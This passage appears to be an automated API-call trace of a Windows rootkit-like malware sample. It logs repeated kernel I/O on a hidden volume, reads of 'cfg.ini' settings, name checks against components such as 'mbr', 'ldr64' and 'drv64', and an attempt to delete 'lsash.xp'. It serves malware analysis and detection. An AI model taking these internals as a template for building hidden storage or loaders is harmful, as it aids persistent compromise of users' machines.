(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.659] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.659] IdePortDispatch () returned 0x103 [0117.659] KeWaitForMutexObject () returned 0x0 [0117.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.659] KeLeaveCriticalRegion () [0117.659] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.659] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.659] KeEnterCriticalRegion () [0117.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.659] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce7000 [0117.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.659] IdePortDispatch () returned 0x103 [0117.661] KeWaitForMutexObject () returned 0x0 [0117.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.661] IdePortDispatch () returned 0x103 [0117.661] KeWaitForMutexObject () returned 0x0 [0117.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.661] KeLeaveCriticalRegion () [0117.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.662] KeEnterCriticalRegion () [0117.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] KeLeaveCriticalRegion () [0117.662] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.662] KeEnterCriticalRegion () [0117.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da640, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] KeLeaveCriticalRegion () [0117.662] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.662] KeEnterCriticalRegion () [0117.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.662] KeLeaveCriticalRegion () [0117.662] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.662] ReleaseMutex (hMutex=0xf0) returned 1 [0117.662] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.663] KeEnterCriticalRegion () [0117.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.663] IdePortDispatch () returned 0x103 [0117.663] KeWaitForMutexObject () returned 0x0 [0117.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.663] KeLeaveCriticalRegion () [0117.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.663] KeEnterCriticalRegion () [0117.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.663] KeLeaveCriticalRegion () [0117.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.663] KeEnterCriticalRegion () [0117.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.663] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.663] IdePortDispatch () returned 0x103 [0117.664] KeWaitForMutexObject () returned 0x0 [0117.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.664] KeLeaveCriticalRegion () [0117.664] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.664] KeEnterCriticalRegion () [0117.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce8000 [0117.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.664] IdePortDispatch () returned 0x103 [0117.664] KeWaitForMutexObject () returned 0x0 [0117.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.664] IdePortDispatch () returned 0x103 [0117.664] KeWaitForMutexObject () returned 0x0 [0117.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] KeLeaveCriticalRegion () [0117.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.665] KeEnterCriticalRegion () [0117.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] KeLeaveCriticalRegion () [0117.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.665] KeEnterCriticalRegion () [0117.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] KeLeaveCriticalRegion () [0117.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.665] KeEnterCriticalRegion () [0117.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.665] KeLeaveCriticalRegion () [0117.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.665] ReleaseMutex (hMutex=0xf0) returned 1 [0117.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.666] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.666] KeEnterCriticalRegion () [0117.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.666] IdePortDispatch () returned 0x103 [0117.666] KeWaitForMutexObject () returned 0x0 [0117.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381bf10 [0117.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.666] KeLeaveCriticalRegion () [0117.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.666] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.666] KeEnterCriticalRegion () [0117.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.666] KeLeaveCriticalRegion () [0117.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.666] KeEnterCriticalRegion () [0117.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.666] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.666] IdePortDispatch () returned 0x103 [0117.666] KeWaitForMutexObject () returned 0x0 [0117.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.667] KeLeaveCriticalRegion () [0117.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.667] KeEnterCriticalRegion () [0117.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce9000 [0117.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.667] IdePortDispatch () returned 0x103 [0117.667] KeWaitForMutexObject () returned 0x0 [0117.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.667] IdePortDispatch () returned 0x103 [0117.668] KeWaitForMutexObject () returned 0x0 [0117.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.668] KeLeaveCriticalRegion () [0117.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.668] KeEnterCriticalRegion () [0117.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.668] KeLeaveCriticalRegion () [0117.668] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.669] KeEnterCriticalRegion () [0117.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.669] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.669] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cfdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.669] KeLeaveCriticalRegion () [0117.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.669] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.669] KeEnterCriticalRegion () [0117.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.669] ExFreePoolWithTag (P=0xfffffa800381bf10, Tag=0x0) [0117.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.669] KeLeaveCriticalRegion () [0117.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.669] ReleaseMutex (hMutex=0xf0) returned 1 [0117.669] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.669] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.669] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.669] KeEnterCriticalRegion () [0117.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.669] IdePortDispatch () returned 0x103 [0117.669] KeWaitForMutexObject () returned 0x0 [0117.670] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.670] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.670] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.670] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.670] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.670] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.670] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.670] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.670] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.670] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.670] KeLeaveCriticalRegion () [0117.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.670] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.670] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.670] KeEnterCriticalRegion () [0117.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.670] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.670] IdePortDispatch () returned 0x103 [0117.670] KeWaitForMutexObject () returned 0x0 [0117.670] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.671] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.671] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.671] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.671] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.671] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.671] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.671] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.671] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.671] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.671] KeLeaveCriticalRegion () [0117.671] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.671] ReleaseMutex (hMutex=0x100) returned 1 [0117.671] Sleep (dwMilliseconds=0x2bf20) [0117.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69579cd0, 